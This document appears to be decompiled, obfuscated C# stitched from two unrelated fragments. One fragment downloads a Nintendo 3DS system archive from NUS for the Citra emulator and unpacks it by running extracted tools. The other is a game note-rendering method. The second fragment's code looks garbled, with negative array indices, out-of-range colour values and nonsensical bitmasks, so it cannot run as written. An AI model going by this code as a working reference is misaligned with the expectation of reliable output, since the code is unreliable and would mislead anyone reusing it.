private void DownloadArchive(GClass32 archive) { string str = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), nameof(Citra), "nand", "00000000000000000000000000000000", "title", archive.TitleId.Low.ToLower(), archive.TitleId.High.ToLower(), "content"); Directory.CreateDirectory(str); string destinationFile = Path.Combine(str, "00000000.app.romfs"); if (System.IO.File.Exists(destinationFile)) { return; } GClass80 gclass80 = new GClass80((WebProxy)null, true, true); FrmWait frmWait = new FrmWait("Downloading system archive from: NUS...", true); gclass80.Event_5 += (EventHandler <GClass81>)((_param1, _param2) => { string temp_dir = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()); GClass6.smethod_5(temp_dir); Directory.CreateDirectory(temp_dir); Path.Combine(temp_dir, "game.cia"); archive.method_5(temp_dir, "game"); GClass27.smethod_11(temp_dir); ProcessStartInfo processStartInfo1 = new ProcessStartInfo() { FileName = Path.Combine(temp_dir, "PART1"), WorkingDirectory = temp_dir }; Process process1 = new Process(); process1.StartInfo = processStartInfo1; process1.EnableRaisingEvents = true; process1.Exited += (EventHandler)((sender1, e1) => { try { IEnumerable <FileInfo> potential_files = new DirectoryInfo(temp_dir).EnumerateFiles("contents.*"); if (potential_files.Count <FileInfo>() == 0) { throw new Exception("An error occured while preparing the system archive!"); } FileInfo fileInfo = potential_files.First <FileInfo>((Func <FileInfo, bool>)(x => x.Length == potential_files.Max <FileInfo>((Func <FileInfo, long>)(y => y.Length)))); ProcessStartInfo processStartInfo2 = new ProcessStartInfo() { FileName = Path.Combine(temp_dir, "3dstool.exe"), WorkingDirectory = temp_dir, Arguments = string.Format("-xvtf cfa {0} --romfs 00000000.app.romfs --romfs-auto-key", (object)fileInfo) }; Process process2 = new Process(); process2.StartInfo = processStartInfo2; process2.Exited += (EventHandler)((sender2, e2) => { string path = Path.Combine(temp_dir, "00000000.app.romfs"); using (FileStream fileStream1 = System.IO.File.Create(destinationFile)) { using (FileStream fileStream2 = System.IO.File.Open(path, FileMode.Open)) { fileStream2.Seek(4096L, SeekOrigin.Begin); for (int index = 0; (long)index < fileStream2.Length - 4096L; ++index) { int num = fileStream2.ReadByte(); fileStream1.WriteByte((byte)num); } } } GClass6.smethod_5(temp_dir); frmWait.method_0(); }); process2.EnableRaisingEvents = true; process2.Start(); } catch { } }); process1.Start(); }); gclass80.Event_6 += (EventHandler <GEventArgs0>)((sender, e) => frmWait.method_2(e.GameProgress)); gclass80.method_1(((IEnumerable <GClass30>) new GClass30[1] { (GClass30)archive }).ToList <GClass30>(), 100, 10000); int num1 = (int)frmWait.ShowDialog(); }
// Token: 0x060014AA RID: 5290 RVA: 0x0008F7F8 File Offset: 0x0008D9F8 public override void vmethod_30(Vector3 vector3_0, byte byte_0, GClass6 gclass6_0, bool bool_0, int int_0, float float_0) { int num = 0; byte b = (byte)(gclass6_0.byte_0 >> 2 & 1 << ((int)byte_0 & -17)); byte b2 = (byte)((int)(gclass6_0.byte_0 & 3) & 1 << ((int)byte_0 & -77)); if (b2 != 0 && b != 0) { num = 7; } else if (b2 != 0) { num = 1; } this.transform_0.localPosition = vector3_0; int_0 *= 2; Color color = new Color(1796f, 354f, 851f, float_0); this.Body.color = (this.SP_Bolt.color = color); this.SP_Rim.color = new Color(767f, 309f, 1215f, 238f * float_0); this.HOPO.color = new Color(1241f, 507f, 1023f, 1424f * float_0); this.Body.sortingOrder = int_0; this.HOPO.sortingOrder = int_0 + 1; this.SP_Rim.sortingOrder = int_0 + 5; this.SP_Bolt.sortingOrder = int_0 + 6; this.SP_Rim.sprite = null; this.HOPO.sprite = null; this.SP_Bolt.sprite = null; if (gclass6_0.byte_0 == 54) { if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[-26]; } else if (gclass6_0.Boolean_6) { this.HOPO.sprite = this.sprite_0[-32]; } if (bool_0) { this.Body.sprite = this.sprite_0[-128]; } else { this.Body.sprite = this.sprite_0[-32]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[57]; return; } } else { if (gclass6_0.Boolean_7) { this.HOPO.sprite = this.sprite_0[num + 7]; } else if (gclass6_0.method_15()) { this.HOPO.sprite = this.sprite_0[num + 8]; } if (bool_0) { this.SP_Rim.sprite = this.sprite_0[num + 85]; } if (gclass6_0.Boolean_3) { this.SP_Bolt.sprite = this.sprite_0[-71]; } this.Body.sprite = this.sprite_0[num]; } }